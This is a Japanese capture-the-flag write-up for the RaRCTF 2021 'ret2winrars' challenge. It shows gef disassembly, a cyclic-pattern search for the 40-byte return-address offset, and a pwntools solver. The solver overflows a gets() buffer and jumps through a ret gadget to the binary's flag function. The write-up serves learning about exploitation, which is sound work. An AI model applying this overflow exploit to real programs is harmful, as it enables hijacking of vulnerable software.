Try   HackMD
tags: RaRCTF 2021 Stack Overflow

ret2winrars - RARCTF 2021

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

writeup

問題名からreturn addressを書き換えると予想できる。
Let's debug!!!

disass main
gef➤ disass main Dump of assembler code for function main: 0x0000000000401191 <+0>: push rbp 0x0000000000401192 <+1>: mov rbp,rsp => 0x0000000000401195 <+4>: mov rax,QWORD PTR [rip+0x2eb4] # 0x404050 <stdout@@GLIBC_2.2.5> 0x000000000040119c <+11>: mov ecx,0x0 0x00000000004011a1 <+16>: mov edx,0x2 0x00000000004011a6 <+21>: mov esi,0x0 0x00000000004011ab <+26>: mov rdi,rax 0x00000000004011ae <+29>: call 0x401070 <setvbuf@plt> 0x00000000004011b3 <+34>: lea rdi,[rip+0xe66] # 0x402020 0x00000000004011ba <+41>: call 0x401030 <puts@plt> 0x00000000004011bf <+46>: lea rdi,[rip+0xe7a] # 0x402040 0x00000000004011c6 <+53>: mov eax,0x0 0x00000000004011cb <+58>: call 0x401050 <printf@plt> 0x00000000004011d0 <+63>: mov eax,0x0 0x00000000004011d5 <+68>: call 0x401175 <get_license> 0x00000000004011da <+73>: lea rdi,[rip+0xe94] # 0x402075 0x00000000004011e1 <+80>: call 0x401030 <puts@plt> 0x00000000004011e6 <+85>: mov eax,0x0 0x00000000004011eb <+90>: pop rbp 0x00000000004011ec <+91>: ret End of assembler dump.

17行目で、get_license関数を呼び出しているので、その関数も見てみる。

disass get_license
gef➤ disass get_license Dump of assembler code for function get_license: 0x0000000000401175 <+0>: push rbp 0x0000000000401176 <+1>: mov rbp,rsp 0x0000000000401179 <+4>: sub rsp,0x20 0x000000000040117d <+8>: lea rax,[rbp-0x20] 0x0000000000401181 <+12>: mov rdi,rax 0x0000000000401184 <+15>: mov eax,0x0 0x0000000000401189 <+20>: call 0x401060 <gets@plt> 0x000000000040118e <+25>: nop 0x000000000040118f <+26>: leave 0x0000000000401190 <+27>: ret End of assembler dump.

9行目でgets関数を呼び出していて、ここに脆弱性がある。
(以下にreturn addressまでのoffsetの求め方)

offsetの求め方
gef➤  pattern create 0x30
[+] Generating a pattern of 48 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
[+] Saved as '$_gef0'
gef➤  c
Continuing.
Hello, welcome to the WinRaRs!
Please enter your WinRaR license key to get access: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa

~~~省略~~~

gef➤  x/xg $rsp
0x7fffffffe5a8: 0x6161616c6161616b
gef➤  pattern search 0x6161616c6161616b
[+] Searching for '0x6161616c6161616b'
[+] Found at offset 40 (little-endian search) likely

get_licenseの6行目:rax,[rbp-0x20]と、この問題バイナリは64bitなので、0x20+840がoffsetとして正しいと考えられる。

あとは、flagを出力する関数に飛ばすだけ。
(flagを出力する関数を確認する。)

info functions
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x0000000000401030  puts@plt
0x0000000000401040  system@plt
0x0000000000401050  printf@plt
0x0000000000401060  gets@plt
0x0000000000401070  setvbuf@plt
0x0000000000401080  _start
0x00000000004010b0  _dl_relocate_static_pie
0x00000000004010c0  deregister_tm_clones
0x00000000004010f0  register_tm_clones
0x0000000000401130  __do_global_dtors_aux
0x0000000000401160  frame_dummy
0x0000000000401162  flag
0x0000000000401175  get_license
0x0000000000401191  main
0x00000000004011f0  __libc_csu_init
0x0000000000401250  __libc_csu_fini
0x0000000000401254  _fini

ただ、alignmentの問題が生じている。
そのため、(奇数個の)retを挟むことで、0x10の倍数に揃えてくれる。(だからsolverではretを挟んでいる。)

solver

from pwn import * io = process("./ret2winrars") payload = b"" payload += b"A"*0x20 + b"B"*8 payload += p64(0x401190) # ret payload += p64(0x401162) io.sendlineafter("access: " ,payload) io.interactive()

参考文献

[1] what is “stack alignment”? - StackOverflow
[2] スタックのアラインメント - GitHub Gist